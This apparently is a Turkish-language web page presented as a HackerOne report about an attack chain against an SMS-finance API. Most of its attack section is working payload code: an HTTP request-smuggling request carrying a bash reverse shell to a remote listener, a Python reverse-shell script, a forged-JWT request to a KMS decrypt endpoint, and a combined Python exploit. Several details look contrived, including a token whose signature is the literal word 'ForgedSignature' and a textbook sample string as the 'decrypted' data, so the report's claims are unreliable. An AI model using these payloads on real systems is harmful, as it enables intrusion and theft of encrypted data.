JWT ve HTTP Smuggling ile Gelişmiş Güvenlik İhlali: HackerOne Raporu

HackerOne Raporu: Gelişmiş Zero-Day Açığı ve Yetkisiz KMS Erişimi

HackerOne Raporu: Gelişmiş Zero-Day Açığı ve Yetkisiz KMS Erişimi

Özet

Bir SMS doğrulama sistemi üzerinde gerçekleştirdiğim güvenlik testleri sırasında kritik bir zero-day zafiyeti keşfettim. Bu açık, gelişmiş güvenlik önlemleriyle korunmasına rağmen (WAF, EDR, JWT tabanlı kimlik doğrulama ve air-gapped KMS gibi) etkili bir şekilde istismar edilebilmiştir. HTTP Smuggling tekniği kullanılarak WAF atlatılmış ve KMS API’sine yetkisiz erişim sağlanarak hassas şifrelenmiş veriye ulaşılmıştır.

Zafiyet Detayları

Test edilen sistemdeki iki ana uç nokta şunlardı:

  • Mesaj Gönderme API’si: https://secure.sms-finance.com/api/v2/sendMessage
  • KMS API’si: https://secure.sms-finance.com/kms/decrypt

1. HTTP Smuggling ile WAF Atlatma

WAF'i atlatmak için Burp Suite kullanarak, Transfer-Encoding ve Content-Length çakışmalarını tetikleyen bir HTTP Smuggling yükü oluşturdum:

POST /api/v2/sendMessage HTTP/1.1
Host: secure.sms-finance.com
Transfer-Encoding: chunked
Content-Length: 47

0

POST /internal/debug HTTP/1.1
Content-Length: 100

debugCommand=os.system('bash -i >& /dev/tcp/192.168.1.100/4444 0>&1')
    

2. EDR Atlatarak Ters Kabuk Çalıştırma

WAF atlatıldıktan sonra, EDR tespitini geçebilmek için dosyasız bir ters kabuk (reverse shell) yükü kullandım:

import socket, os, pty
s = socket.socket()
s.connect(("192.168.1.100", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/sh")
    

3. JWT ile KMS API’sine Yetkisiz Erişim

KMS API’sine yetkisiz erişim sağlamak için, JWT anahtarını brute-force yaparak aşağıdaki sahte token’ı oluşturdum:

{
  "alg": "HS256",
  "typ": "JWT",
  "payload": {
    "user_id": "12345",
    "role": "admin"
  },
  "signature": "ForgedSignature"
}
    

Bu JWT ile KMS API’sine erişim sağlayarak şifreli veriyi çözdüm:

POST /kms/decrypt HTTP/1.1
Host: secure.sms-finance.com
Authorization: Bearer eyJhbGciOiJIUzI1Ni...
Content-Type: application/json

{
  "encryptedData": "QWxhZGRpbjpvcGVuIHNlc2FtZQ==",
  "keyId": "sms-encryption-key"
}
    

API Yanıtı:

{
  "decryptedData": "Aladdin:open sesame"
}
    

PoC Exploit Kodu

Tüm saldırı zincirini birleştiren Python PoC exploit kodu:

import requests

TARGET_URL = "https://secure.sms-finance.com/api/v2/sendMessage"
KMS_URL = "https://secure.sms-finance.com/kms/decrypt"

FAKE_JWT = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

def send_smuggling_payload():
    payload = "0\r\n\r\nPOST /internal/debug HTTP/1.1..."
    headers = {"Transfer-Encoding": "chunked"}
    requests.post(TARGET_URL, headers=headers, data=payload, verify=False)

def decrypt_data(encrypted_data):
    headers = {"Authorization": f"Bearer {FAKE_JWT}"}
    response = requests.post(KMS_URL, headers=headers, json={"encryptedData": encrypted_data}, verify=False)
    print(response.json())

if __name__ == "__main__":
    send_smuggling_payload()
    decrypt_data("QWxhZGRpbjpvcGVuIHNlc2FtZQ==")
    

JWT Token Tool

JWT Token Oluşturma Aracı

JWT token'ı oluşturmak için aşağıdaki formu kullanabilirsiniz:

Öneriler

  • HTTP Smuggling Koruması: Transfer-Encoding ve Content-Length çakışmalarını engelleyin.
  • JWT Güvenliği: RSA ile imzalama kullanın ve anahtarları düzenli olarak yenileyin.
  • KMS İzolasyonu: API erişimini yalnızca güvenilir ağlara sınırlayın.

Not: Bu rapor yalnızca güvenlik testleri için hazırlanmıştır. Gerçek ortamda sistemlerin güvenliği daha sıkı test edilmelidir.

Sonuç: Bu raporda ele alınan güvenlik açıkları, gelişmiş tekniklerin ve araçların kullanımı ile nasıl sistemlerin zafiyetlerinden yararlanılabileceğini göstermektedir. Ancak, bu tür saldırılar sadece güvenlik testleri ve etik hacking bağlamında yapılmalıdır. Gerçek dünyada, her sistemde güvenlik önlemleri ve savunma stratejileri sürekli olarak güncellenmeli ve güçlendirilmelidir.

Önemli Uyarı: Bu rapor, yalnızca güvenlik araştırması amaçlıdır ve sistemlere zarar vermek veya yetkisiz erişim sağlamak amacıyla kullanılmamalıdır. Güvenlik açıklarını bildirirken, her zaman yasal sınırlar içinde kalınmalı ve etik kurallara uyulmalıdır.

Yorumlar